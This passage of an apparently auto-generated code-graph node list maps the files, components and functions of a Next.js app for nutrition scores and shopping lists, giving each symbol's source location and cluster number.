- "norm_label": "actions.ts"
- },
- {
- "label": "verificarLista()",
- "file_type": "code",
- "source_file": "app/actions.ts",
- "source_location": "L5",
- "id": "app_actions_verificarlista",
- "community": 2,
- "norm_label": "verificarlista()"
- },
- {
- "label": "criarItens()",
- "file_type": "code",
- "source_file": "app/actions.ts",
- "source_location": "L28",
- "id": "app_actions_criaritens",
- "community": 2,
- "norm_label": "criaritens()"
- },
- {
- "label": "listarProdutos()",
- "file_type": "code",
- "source_file": "app/actions.ts",
- "source_location": "L55",
- "id": "app_actions_listarprodutos",
- "community": 4,
- "norm_label": "listarprodutos()"
- },
- {
- "label": "deletarProduto()",
- "file_type": "code",
- "source_file": "app/actions.ts",
- "source_location": "L70",
- "id": "app_actions_deletarproduto",
- "community": 2,
- "norm_label": "deletarproduto()"
- },
- {
- "label": "toggleComprado()",
- "file_type": "code",
- "source_file": "app/actions.ts",
- "source_location": "L87",
- "id": "app_actions_togglecomprado",
- "community": 2,
- "norm_label": "togglecomprado()"
- },
- {
- "label": "layout.tsx",
- "file_type": "code",
- "source_file": "app/layout.tsx",
- "source_location": "L1",
- "id": "app_layout_tsx",
- "community": 8,
- "norm_label": "layout.tsx"
- },
- {
- "label": "inter",
- "file_type": "code",
- "source_file": "app/layout.tsx",
- "source_location": "L9",
- "id": "app_layout_inter",
- "community": 8,
- "norm_label": "inter"
- },
- {
- "label": "metadata",
- "file_type": "code",
- "source_file": "app/layout.tsx",
- "source_location": "L15",
- "id": "app_layout_metadata",
- "community": 8,
- "norm_label": "metadata"
- },
- {
- "label": "RootLayout()",
- "file_type": "code",
- "source_file": "app/layout.tsx",
- "source_location": "L73",
- "id": "app_layout_rootlayout",
- "community": 8,
- "norm_label": "rootlayout()"
- },
- {
- "label": "page.tsx",
- "file_type": "code",
- "source_file": "app/page.tsx",
- "source_location": "L1",
- "id": "app_page_tsx",
- "community": 1,
- "norm_label": "page.tsx"
- },
- {
- "label": "Home()",
- "file_type": "code",
- "source_file": "app/page.tsx",
- "source_location": "L9",
- "id": "app_page_home",
- "community": 1,
- "norm_label": "home()"
- },
- {
- "label": "providers.tsx",
- "file_type": "code",
- "source_file": "app/providers.tsx",
- "source_location": "L1",
- "id": "app_providers_tsx",
- "community": 8,
- "norm_label": "providers.tsx"
- },
- {
- "label": "ProvidersProps",
- "file_type": "code",
- "source_file": "app/providers.tsx",
- "source_location": "L5",
- "id": "app_providers_providersprops",
- "community": 8,
- "norm_label": "providersprops"
- },
- {
- "label": "ThemeProvider()",
- "file_type": "code",
- "source_file": "app/providers.tsx",
- "source_location": "L9",
- "id": "app_providers_themeprovider",
- "community": 8,
- "norm_label": "themeprovider()"
- },
- {
- "label": "robots.ts",
- "file_type": "code",
- "source_file": "app/robots.ts",
- "source_location": "L1",
- "id": "app_robots_ts",
- "community": 14,
- "norm_label": "robots.ts"
- },
- {
- "label": "robots()",
- "file_type": "code",
- "source_file": "app/robots.ts",
- "source_location": "L3",
- "id": "app_robots_robots",
- "community": 14,
- "norm_label": "robots()"
- },
- {
- "label": "sitemap.ts",
- "file_type": "code",
- "source_file": "app/sitemap.ts",
- "source_location": "L1",
- "id": "app_sitemap_ts",
- "community": 18,
- "norm_label": "sitemap.ts"
- },
- {
- "label": "POST()",
- "file_type": "code",
- "source_file": "app/api/cache/sync/route.ts",
- "source_location": "L4",
- "id": "sync_route_post",
- "community": 6,
- "norm_label": "post()"
- },
- {
- "label": "route.ts",
- "file_type": "code",
- "source_file": "app/api/search/route.ts",
- "source_location": "L1",
- "id": "app_api_search_route_ts",
- "community": 6,
- "norm_label": "route.ts"
- },
- {
- "label": "GET()",
- "file_type": "code",
- "source_file": "app/api/search/route.ts",
- "source_location": "L8",
- "id": "search_route_get",
- "community": 6,
- "norm_label": "get()"
- },
- {
- "label": "CacheOnlySwitch.tsx",
- "file_type": "code",
- "source_file": "app/components/CacheOnlySwitch.tsx",
- "source_location": "L1",
- "id": "app_components_cacheonlyswitch_tsx",
- "community": 0,
- "norm_label": "cacheonlyswitch.tsx"
- },
- {
- "label": "CardProps",
- "file_type": "code",
- "source_file": "app/components/card.tsx",
- "source_location": "L1",
- "id": "components_card_cardprops",
- "community": 4,
- "norm_label": "cardprops"
- },
- {
- "label": "CardList.tsx",
- "file_type": "code",
- "source_file": "app/components/CardList.tsx",
- "source_location": "L1",
- "id": "app_components_cardlist_tsx",
- "community": 4,
- "norm_label": "cardlist.tsx"
- },
- {
- "label": "Produto",
- "file_type": "code",
- "source_file": "app/components/CardList.tsx",
- "source_location": "L4",
- "id": "components_cardlist_produto",
- "community": 4,
- "norm_label": "produto"
- },
- {
- "label": "CardListProps",
- "file_type": "code",
- "source_file": "app/components/CardList.tsx",
- "source_location": "L15",
- "id": "components_cardlist_cardlistprops",
- "community": 4,
- "norm_label": "cardlistprops"
- },
- {
- "label": "CardList()",
- "file_type": "code",
- "source_file": "app/components/CardList.tsx",
- "source_location": "L19",
- "id": "components_cardlist_cardlist",
- "community": 4,
- "norm_label": "cardlist()"
- },
- {
- "label": "DeleteButton.tsx",
- "file_type": "code",
- "source_file": "app/components/DeleteButton.tsx",
- "source_location": "L1",
- "id": "app_components_deletebutton_tsx",
- "community": 2,
- "norm_label": "deletebutton.tsx"
- },
- {
- "label": "DonateCard.tsx",
- "file_type": "code",
- "source_file": "app/components/DonateCard.tsx",
- "source_location": "L1",
- "id": "app_components_donatecard_tsx",
- "community": 0,
- "norm_label": "donatecard.tsx"
- },
- {
- "label": "DonateCardProps",
- "file_type": "code",
- "source_file": "app/components/DonateCard.tsx",
- "source_location": "L6",
- "id": "components_donatecard_donatecardprops",
- "community": 0,
- "norm_label": "donatecardprops"
- },
- {
- "label": "ErrorBoundary.tsx",
- "file_type": "code",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L1",
- "id": "app_components_errorboundary_tsx",
- "community": 8,
- "norm_label": "errorboundary.tsx"
- },
- {
- "label": "Props",
- "file_type": "code",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L5",
- "id": "components_errorboundary_props",
- "community": 8,
- "norm_label": "props"
- },
- {
- "label": "State",
- "file_type": "code",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L10",
- "id": "components_errorboundary_state",
- "community": 8,
- "norm_label": "state"
- },
- {
- "label": "ErrorBoundary",
- "file_type": "code",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L18",
- "id": "components_errorboundary_errorboundary",
- "community": 8,
- "norm_label": "errorboundary"
- },
- {
- "label": ".getDerivedStateFromError()",
- "file_type": "code",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L24",
- "id": "components_errorboundary_errorboundary_getderivedstatefromerror",
- "community": 8,
- "norm_label": ".getderivedstatefromerror()"
- },
- {
- "label": ".componentDidCatch()",
- "file_type": "code",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L28",
- "id": "components_errorboundary_errorboundary_componentdidcatch",
- "community": 8,
- "norm_label": ".componentdidcatch()"
- },
- {
- "label": ".render()",
- "file_type": "code",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L47",
- "id": "components_errorboundary_errorboundary_render",
- "community": 8,
- "norm_label": ".render()"
- },
- {
- "label": "ErrorTracking.tsx",
- "file_type": "code",
- "source_file": "app/components/ErrorTracking.tsx",
- "source_location": "L1",
- "id": "app_components_errortracking_tsx",
- "community": 8,
- "norm_label": "errortracking.tsx"
- },
- {
- "label": "FilterBadge.tsx",
- "file_type": "code",
- "source_file": "app/components/FilterBadge.tsx",
- "source_location": "L1",
- "id": "app_components_filterbadge_tsx",
- "community": 4,
- "norm_label": "filterbadge.tsx"
- },
- {
- "label": "FilterBadgeProps",
- "file_type": "code",
- "source_file": "app/components/FilterBadge.tsx",
- "source_location": "L7",
- "id": "components_filterbadge_filterbadgeprops",
- "community": 4,
- "norm_label": "filterbadgeprops"
- },
- {
- "label": "FilterBadgesProps",
- "file_type": "code",
- "source_file": "app/components/FilterBadge.tsx",
- "source_location": "L40",
- "id": "components_filterbadge_filterbadgesprops",
- "community": 4,
- "norm_label": "filterbadgesprops"
- },
- {
- "label": "getFilterLabel()",
- "file_type": "code",
- "source_file": "app/components/FilterBadge.tsx",
- "source_location": "L127",
- "id": "components_filterbadge_getfilterlabel",
- "community": 4,
- "norm_label": "getfilterlabel()"
- },
- {
- "label": "getFilterColor()",
- "file_type": "code",
- "source_file": "app/components/FilterBadge.tsx",
- "source_location": "L146",
- "id": "components_filterbadge_getfiltercolor",
- "community": 4,
- "norm_label": "getfiltercolor()"
- },
- {
- "label": "FilterSidebar.tsx",
- "file_type": "code",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L1",
- "id": "app_components_filtersidebar_tsx",
- "community": 3,
- "norm_label": "filtersidebar.tsx"
- },
- {
- "label": "FilterSidebar()",
- "file_type": "code",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L60",
- "id": "components_filtersidebar_filtersidebar",
- "community": 3,
- "norm_label": "filtersidebar()"
- },
- {
- "label": "Footer.tsx",
- "file_type": "code",
- "source_file": "app/components/Footer.tsx",
- "source_location": "L1",
- "id": "app_components_footer_tsx",
- "community": 1,
- "norm_label": "footer.tsx"
- },
- {
- "label": "FOOTER_LINKS",
- "file_type": "code",
- "source_file": "app/components/Footer.tsx",
- "source_location": "L8",
- "id": "components_footer_footer_links",
- "community": 1,
- "norm_label": "footer_links"
- },
- {
- "label": "Footer()",
- "file_type": "code",
- "source_file": "app/components/Footer.tsx",
- "source_location": "L22",
- "id": "components_footer_footer",
- "community": 1,
- "norm_label": "footer()"
- },
- {
- "label": "header.tsx",
- "file_type": "code",
- "source_file": "app/components/header.tsx",
- "source_location": "L1",
- "id": "app_components_header_tsx",
- "community": 0,
- "norm_label": "header.tsx"
- },
- {
- "label": "NAV_LINKS",
- "file_type": "code",
- "source_file": "app/components/header.tsx",
- "source_location": "L10",
- "id": "components_header_nav_links",
- "community": 0,
- "norm_label": "nav_links"
- },
- {
- "label": "Header()",
- "file_type": "code",
- "source_file": "app/components/header.tsx",
- "source_location": "L16",
- "id": "components_header_header",
- "community": 0,
- "norm_label": "header()"
- },
- {
- "label": "IdInput()",
- "file_type": "code",
- "source_file": "app/components/IdInput.tsx",
- "source_location": "L8",
- "id": "components_idinput_idinput",
- "community": 2,
- "norm_label": "idinput()"
- },
- {
- "label": "items.tsx",
- "file_type": "code",
- "source_file": "app/components/items.tsx",
- "source_location": "L1",
- "id": "app_components_items_tsx",
- "community": 12,
- "norm_label": "items.tsx"
- },
- {
- "label": "Items()",
- "file_type": "code",
- "source_file": "app/components/items.tsx",
- "source_location": "L3",
- "id": "components_items_items",
- "community": 12,
- "norm_label": "items()"
- },
- {
- "label": "ListaProductCard.tsx",
- "file_type": "code",
- "source_file": "app/components/ListaProductCard.tsx",
- "source_location": "L1",
- "id": "app_components_listaproductcard_tsx",
- "community": 4,
- "norm_label": "listaproductcard.tsx"
- },
- {
- "label": "ListaProductCardProps",
- "file_type": "code",
- "source_file": "app/components/ListaProductCard.tsx",
- "source_location": "L20",
- "id": "components_listaproductcard_listaproductcardprops",
- "community": 4,
- "norm_label": "listaproductcardprops"
- },
- {
- "label": "ListHeader.tsx",
- "file_type": "code",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L1",
- "id": "app_components_listheader_tsx",
- "community": 2,
- "norm_label": "listheader.tsx"
- },
- {
- "label": "ListHeaderProps",
- "file_type": "code",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L19",
- "id": "components_listheader_listheaderprops",
- "community": 2,
- "norm_label": "listheaderprops"
- },
- {
- "label": "ListHeader()",
- "file_type": "code",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L23",
- "id": "components_listheader_listheader",
- "community": 2,
- "norm_label": "listheader()"
- },
- {
- "label": "Main.tsx",
- "file_type": "code",
- "source_file": "app/components/Main.tsx",
- "source_location": "L1",
- "id": "app_components_main_tsx",
- "community": 2,
- "norm_label": "main.tsx"
- },
- {
- "label": "MainProps",
- "file_type": "code",
- "source_file": "app/components/Main.tsx",
- "source_location": "L17",
- "id": "components_main_mainprops",
- "community": 2,
- "norm_label": "mainprops"
- },
- {
- "label": "Main()",
- "file_type": "code",
- "source_file": "app/components/Main.tsx",
- "source_location": "L21",
- "id": "components_main_main",
- "community": 1,
- "norm_label": "main()"
- },
- {
- "label": "NutriScoreBadge.tsx",
- "file_type": "code",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L1",
- "id": "app_components_nutriscorebadge_tsx",
- "community": 0,
- "norm_label": "nutriscorebadge.tsx"
- },
- {
- "label": "NutriScoreBadgeProps",
- "file_type": "code",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L5",
- "id": "components_nutriscorebadge_nutriscorebadgeprops",
- "community": 0,
- "norm_label": "nutriscorebadgeprops"
- },
- {
- "label": "GRADE_INFO",
- "file_type": "code",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L12",
- "id": "components_nutriscorebadge_grade_info",
- "community": 0,
- "norm_label": "grade_info"
- },
- {
- "label": "GRADE_CLASS",
- "file_type": "code",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L20",
- "id": "components_nutriscorebadge_grade_class",
- "community": 0,
- "norm_label": "grade_class"
- },
- {
- "label": "SIZE_CLASS",
- "file_type": "code",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L24",
- "id": "components_nutriscorebadge_size_class",
- "community": 0,
- "norm_label": "size_class"
- },
- {
- "label": "NovaBadgeProps",
- "file_type": "code",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L71",
- "id": "components_nutriscorebadge_novabadgeprops",
- "community": 0,
- "norm_label": "novabadgeprops"
- },
- {
- "label": "NOVA_INFO",
- "file_type": "code",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L78",
- "id": "components_nutriscorebadge_nova_info",
- "community": 0,
- "norm_label": "nova_info"
- },
- {
- "label": "NovaBadge()",
- "file_type": "code",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L85",
- "id": "components_nutriscorebadge_novabadge",
- "community": 0,
- "norm_label": "novabadge()"
- },
- {
- "label": "NutritionBar.tsx",
- "file_type": "code",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L1",
- "id": "app_components_nutritionbar_tsx",
- "community": 0,
- "norm_label": "nutritionbar.tsx"
- },
- {
- "label": "NutritionBar()",
- "file_type": "code",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L15",
- "id": "components_nutritionbar_nutritionbar",
- "community": 0,
- "norm_label": "nutritionbar()"
- },
- {
- "label": "NutritionGridProps",
- "file_type": "code",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L61",
- "id": "components_nutritionbar_nutritiongridprops",
- "community": 0,
- "norm_label": "nutritiongridprops"
- },
- {
- "label": "REFERENCE",
- "file_type": "code",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L74",
- "id": "components_nutritionbar_reference",
- "community": 0,
- "norm_label": "reference"
- },
- {
- "label": "extractNumber()",
- "file_type": "code",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L79",
- "id": "components_nutritionbar_extractnumber",
- "community": 0,
- "norm_label": "extractnumber()"
- },
- {
- "label": "pct()",
- "file_type": "code",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L85",
- "id": "components_nutritionbar_pct",
- "community": 0,
- "norm_label": "pct()"
- },
- {
- "label": "NutritionGrid()",
- "file_type": "code",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L89",
- "id": "components_nutritionbar_nutritiongrid",
- "community": 0,
- "norm_label": "nutritiongrid()"
- },
- {
- "label": "NutritionChart.tsx",
- "file_type": "code",
- "source_file": "app/components/NutritionChart.tsx",
- "source_location": "L1",
- "id": "app_components_nutritionchart_tsx",
- "community": 4,
- "norm_label": "nutritionchart.tsx"
- },
- {
- "label": "NutritionData",
- "file_type": "code",
- "source_file": "app/components/NutritionChart.tsx",
- "source_location": "L6",
- "id": "components_nutritionchart_nutritiondata",
- "community": 4,
- "norm_label": "nutritiondata"
- },
- {
- "label": "NutritionSummary()",
- "file_type": "code",
- "source_file": "app/components/NutritionChart.tsx",
- "source_location": "L170",
- "id": "components_nutritionchart_nutritionsummary",
- "community": 4,
- "norm_label": "nutritionsummary()"
- },
- {
- "label": "PageTitle.tsx",
- "file_type": "code",
- "source_file": "app/components/PageTitle.tsx",
- "source_location": "L1",
- "id": "app_components_pagetitle_tsx",
- "community": 19,
- "norm_label": "pagetitle.tsx"
- },
- {
- "label": "Pagination.tsx",
- "file_type": "code",
- "source_file": "app/components/Pagination.tsx",
- "source_location": "L1",
- "id": "app_components_pagination_tsx",
- "community": 2,
- "norm_label": "pagination.tsx"
- },
- {
- "label": "ProductCard.tsx",
- "file_type": "code",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L1",
- "id": "app_components_productcard_tsx",
- "community": 0,
- "norm_label": "productcard.tsx"
- },
- {
- "label": "ProductCardProps",
- "file_type": "code",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L10",
- "id": "components_productcard_productcardprops",
- "community": 0,
- "norm_label": "productcardprops"
- },
- {
- "label": "NUTRI_GRADE_CLASS",
- "file_type": "code",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L18",
- "id": "components_productcard_nutri_grade_class",
- "community": 0,
- "norm_label": "nutri_grade_class"
- },
- {
- "label": "getVerdict()",
- "file_type": "code",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L22",
- "id": "components_productcard_getverdict",
- "community": 0,
- "norm_label": "getverdict()"
- },
- {
- "label": "getImageUrl()",
- "file_type": "code",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L34",
- "id": "components_productcard_getimageurl",
- "community": 0,
- "norm_label": "getimageurl()"
- },
- {
- "label": "VerdictDot()",
- "file_type": "code",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L60",
- "id": "components_productcard_verdictdot",
- "community": 0,
- "norm_label": "verdictdot()"
- },
- {
- "label": "MobileCard()",
- "file_type": "code",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L75",
- "id": "components_productcard_mobilecard",
- "community": 0,
- "norm_label": "mobilecard()"
- },
- {
- "label": "DefaultCard()",
- "file_type": "code",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L152",
- "id": "components_productcard_defaultcard",
- "community": 0,
- "norm_label": "defaultcard()"
- },
- {
- "label": "ProductCardSkeleton.tsx",
- "file_type": "code",
- "source_file": "app/components/ProductCardSkeleton.tsx",
- "source_location": "L1",
- "id": "app_components_productcardskeleton_tsx",
- "community": 4,
- "norm_label": "productcardskeleton.tsx"
- },
- {
- "label": "ProductSkeleton.tsx",
- "file_type": "code",
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L1",
- "id": "app_components_productskeleton_tsx",
- "community": 0,
- "norm_label": "productskeleton.tsx"
- },
- {
- "label": "SkeletonProps",
- "file_type": "code",
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L4",
- "id": "components_productskeleton_skeletonprops",
- "community": 0,
- "norm_label": "skeletonprops"
- },
- {
- "label": "NutritionBarSkeleton()",
- "file_type": "code",
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L104",
- "id": "components_productskeleton_nutritionbarskeleton",
- "community": 0,
- "norm_label": "nutritionbarskeleton()"
- },
- {
- "label": "BadgeSkeleton()",
- "file_type": "code",
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L116",
- "id": "components_productskeleton_badgeskeleton",
- "community": 0,
- "norm_label": "badgeskeleton()"
- },
- {
- "label": "SearchBar.tsx",
- "file_type": "code",
- "source_file": "app/components/SearchBar.tsx",
- "source_location": "L1",
- "id": "app_components_searchbar_tsx",
- "community": 7,
- "norm_label": "searchbar.tsx"
- },
- {
- "label": "SortDropdown.tsx",
- "file_type": "code",
- "source_file": "app/components/SortDropdown.tsx",
- "source_location": "L1",
- "id": "app_components_sortdropdown_tsx",
- "community": 10,
- "norm_label": "sortdropdown.tsx"
- },
- {
- "label": "SORT_ICONS",
- "file_type": "code",
- "source_file": "app/components/SortDropdown.tsx",
- "source_location": "L29",
- "id": "components_sortdropdown_sort_icons",
- "community": 10,
- "norm_label": "sort_icons"
- },
- {
- "label": "SortToggle()",
- "file_type": "code",
- "source_file": "app/components/SortDropdown.tsx",
- "source_location": "L131",
- "id": "components_sortdropdown_sorttoggle",
- "community": 10,
- "norm_label": "sorttoggle()"
- },
- {
- "label": "DonationSection()",
- "file_type": "code",
- "source_file": "app/components/landing/DonationSection.tsx",
- "source_location": "L6",
- "id": "landing_donationsection_donationsection",
- "community": 1,
- "norm_label": "donationsection()"
- },
- {
- "label": "Features.tsx",
- "file_type": "code",
- "source_file": "app/components/landing/Features.tsx",
- "source_location": "L1",
- "id": "app_components_landing_features_tsx",
- "community": 0,
- "norm_label": "features.tsx"
- },
- {
- "label": "Feature",
- "file_type": "code",
- "source_file": "app/components/landing/Features.tsx",
- "source_location": "L6",
- "id": "landing_features_feature",
- "community": 0,
- "norm_label": "feature"
- },
- {
- "label": "FeatureRow()",
- "file_type": "code",
- "source_file": "app/components/landing/Features.tsx",
- "source_location": "L79",
- "id": "landing_features_featurerow",
- "community": 0,
- "norm_label": "featurerow()"
- },
- {
- "label": "Hero.tsx",
- "file_type": "code",
- "source_file": "app/components/landing/Hero.tsx",
- "source_location": "L1",
- "id": "app_components_landing_hero_tsx",
- "community": 9,
- "norm_label": "hero.tsx"
- },
- {
- "label": "Hero()",
- "file_type": "code",
- "source_file": "app/components/landing/Hero.tsx",
- "source_location": "L10",
- "id": "landing_hero_hero",
- "community": 9,
- "norm_label": "hero()"
- },
- {
- "label": "ArrowRight()",
- "file_type": "code",
- "source_file": "app/components/landing/Hero.tsx",
- "source_location": "L195",
- "id": "landing_hero_arrowright",
- "community": 0,
- "norm_label": "arrowright()"
- },
- {
- "label": "Step",
- "file_type": "code",
- "source_file": "app/components/landing/HowItWorks.tsx",
- "source_location": "L7",
- "id": "landing_howitworks_step",
- "community": 0,
- "norm_label": "step"
- },
- {
- "label": "steps",
- "file_type": "code",
- "source_file": "app/components/landing/HowItWorks.tsx",
- "source_location": "L14",
- "id": "landing_howitworks_steps",
- "community": 1,
- "norm_label": "steps"
- },
- {
- "label": "HowItWorks()",
- "file_type": "code",
- "source_file": "app/components/landing/HowItWorks.tsx",
- "source_location": "L45",
- "id": "landing_howitworks_howitworks",
- "community": 0,
- "norm_label": "howitworks()"
- },
- {
- "label": "StepCard()",
- "file_type": "code",
- "source_file": "app/components/landing/HowItWorks.tsx",
- "source_location": "L129",
- "id": "landing_howitworks_stepcard",
- "community": 0,
- "norm_label": "stepcard()"
- },
- {
- "label": "PersuasiveCTA()",
- "file_type": "code",
- "source_file": "app/components/landing/PersuasiveCTA.tsx",
- "source_location": "L9",
- "id": "landing_persuasivecta_persuasivecta",
- "community": 0,
- "norm_label": "persuasivecta()"
- },
- {
- "label": "SearchBar()",
- "file_type": "code",
- "source_file": "app/components/landing/SearchBar.tsx",
- "source_location": "L14",
- "id": "landing_searchbar_searchbar",
- "community": 7,
- "norm_label": "searchbar()"
- },
- {
- "label": "stats",
- "file_type": "code",
- "source_file": "app/components/landing/TrustBadges.tsx",
- "source_location": "L3",
- "id": "landing_trustbadges_stats",
- "community": 1,
- "norm_label": "stats"
- },
- {
- "label": "TrustBadges()",
- "file_type": "code",
- "source_file": "app/components/landing/TrustBadges.tsx",
- "source_location": "L26",
- "id": "landing_trustbadges_trustbadges",
- "community": 1,
- "norm_label": "trustbadges()"
- },
- {
- "label": "ListaPageProps",
- "file_type": "code",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L10",
- "id": "id_page_listapageprops",
- "community": 1,
- "norm_label": "listapageprops"
- },
- {
- "label": "ListaPage()",
- "file_type": "code",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L16",
- "id": "id_page_listapage",
- "community": 2,
- "norm_label": "listapage()"
- },
- {
- "label": "NUTRI_BG",
- "file_type": "code",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L19",
- "id": "barcode_page_nutri_bg",
- "community": 1,
- "norm_label": "nutri_bg"
- },
- {
- "label": "NUTRI_INK",
- "file_type": "code",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L26",
- "id": "barcode_page_nutri_ink",
- "community": 1,
- "norm_label": "nutri_ink"
- },
- {
- "label": "GRADE_DESC",
- "file_type": "code",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L33",
- "id": "barcode_page_grade_desc",
- "community": 1,
- "norm_label": "grade_desc"
- },
- {
- "label": "NOVA_DESC",
- "file_type": "code",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L40",
- "id": "barcode_page_nova_desc",
- "community": 1,
- "norm_label": "nova_desc"
- },
- {
- "label": "NOVA_BG",
- "file_type": "code",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L46",
- "id": "barcode_page_nova_bg",
- "community": 1,
- "norm_label": "nova_bg"
- },
- {
- "label": "NOVA_INK",
- "file_type": "code",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L52",
- "id": "barcode_page_nova_ink",
- "community": 1,
- "norm_label": "nova_ink"
- },
- {
- "label": "NutriLetter()",
- "file_type": "code",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L59",
- "id": "barcode_page_nutriletter",
- "community": 0,
- "norm_label": "nutriletter()"
- },
- {
- "label": "NutriScale()",
- "file_type": "code",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L88",
- "id": "barcode_page_nutriscale",
- "community": 1,
- "norm_label": "nutriscale()"
- },
- {
- "label": "NovaPill()",
- "file_type": "code",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L134",
- "id": "barcode_page_novapill",
- "community": 1,
- "norm_label": "novapill()"
- },
- {
- "label": "ProdutoPage()",
- "file_type": "code",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L177",
- "id": "barcode_page_produtopage",
- "community": 1,
- "norm_label": "produtopage()"
- },
- {
- "label": "convertFiltersToRecord()",
- "file_type": "code",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L39",
- "id": "resultados_page_convertfilterstorecord",
- "community": 1,
- "norm_label": "convertfilterstorecord()"
- },
- {
- "label": "GRADE_COLORS",
- "file_type": "code",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L50",
- "id": "resultados_page_grade_colors",
- "community": 1,
- "norm_label": "grade_colors"
- },
- {
- "label": "ResultadosContent()",
- "file_type": "code",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L58",
- "id": "resultados_page_resultadoscontent",
- "community": 3,
- "norm_label": "resultadoscontent()"
- },
- {
- "label": "ResultadosPage()",
- "file_type": "code",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L1068",
- "id": "resultados_page_resultadospage",
- "community": 1,
- "norm_label": "resultadospage()"
- },
- {
- "label": "SobrePage()",
- "file_type": "code",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L38",
- "id": "sobre_page_sobrepage",
- "community": 1,
- "norm_label": "sobrepage()"
- },
- {
- "label": "CTASection()",
- "file_type": "code",
- "source_file": "app/sobre/components/CTASection.tsx",
- "source_location": "L6",
- "id": "components_ctasection_ctasection",
- "community": 1,
- "norm_label": "ctasection()"
- },
- {
- "label": "HeroSection.tsx",
- "file_type": "code",
- "source_file": "app/sobre/components/HeroSection.tsx",
- "source_location": "L1",
- "id": "app_sobre_components_herosection_tsx",
- "community": 1,
- "norm_label": "herosection.tsx"
- },
- {
- "label": "HeroSection()",
- "file_type": "code",
- "source_file": "app/sobre/components/HeroSection.tsx",
- "source_location": "L6",
- "id": "components_herosection_herosection",
- "community": 1,
- "norm_label": "herosection()"
- },
- {
- "label": "HowItWorksSection.tsx",
- "file_type": "code",
- "source_file": "app/sobre/components/HowItWorksSection.tsx",
- "source_location": "L1",
- "id": "app_sobre_components_howitworkssection_tsx",
- "community": 1,
- "norm_label": "howitworkssection.tsx"
- },
- {
- "label": "ImpactSection.tsx",
- "file_type": "code",
- "source_file": "app/sobre/components/ImpactSection.tsx",
- "source_location": "L1",
- "id": "app_sobre_components_impactsection_tsx",
- "community": 1,
- "norm_label": "impactsection.tsx"
- },
- {
- "label": "MissionSection.tsx",
- "file_type": "code",
- "source_file": "app/sobre/components/MissionSection.tsx",
- "source_location": "L1",
- "id": "app_sobre_components_missionsection_tsx",
- "community": 1,
- "norm_label": "missionsection.tsx"
- },
- {
- "label": "MISSION_VALUES",
- "file_type": "code",
- "source_file": "app/sobre/components/MissionSection.tsx",
- "source_location": "L5",
- "id": "components_missionsection_mission_values",
- "community": 1,
- "norm_label": "mission_values"
- },
- {
- "label": "ProblemSection.tsx",
- "file_type": "code",
- "source_file": "app/sobre/components/ProblemSection.tsx",
- "source_location": "L1",
- "id": "app_sobre_components_problemsection_tsx",
- "community": 1,
- "norm_label": "problemsection.tsx"
- },
- {
- "label": "ProblemSection()",
- "file_type": "code",
- "source_file": "app/sobre/components/ProblemSection.tsx",
- "source_location": "L3",
- "id": "components_problemsection_problemsection",
- "community": 1,
- "norm_label": "problemsection()"
- },
- {
- "label": "StorySection.tsx",
- "file_type": "code",
- "source_file": "app/sobre/components/StorySection.tsx",
- "source_location": "L1",
- "id": "app_sobre_components_storysection_tsx",
- "community": 1,
- "norm_label": "storysection.tsx"
- },
- {
- "label": "StoryStep",
- "file_type": "code",
- "source_file": "app/sobre/components/StorySection.tsx",
- "source_location": "L3",
- "id": "components_storysection_storystep",
- "community": 1,
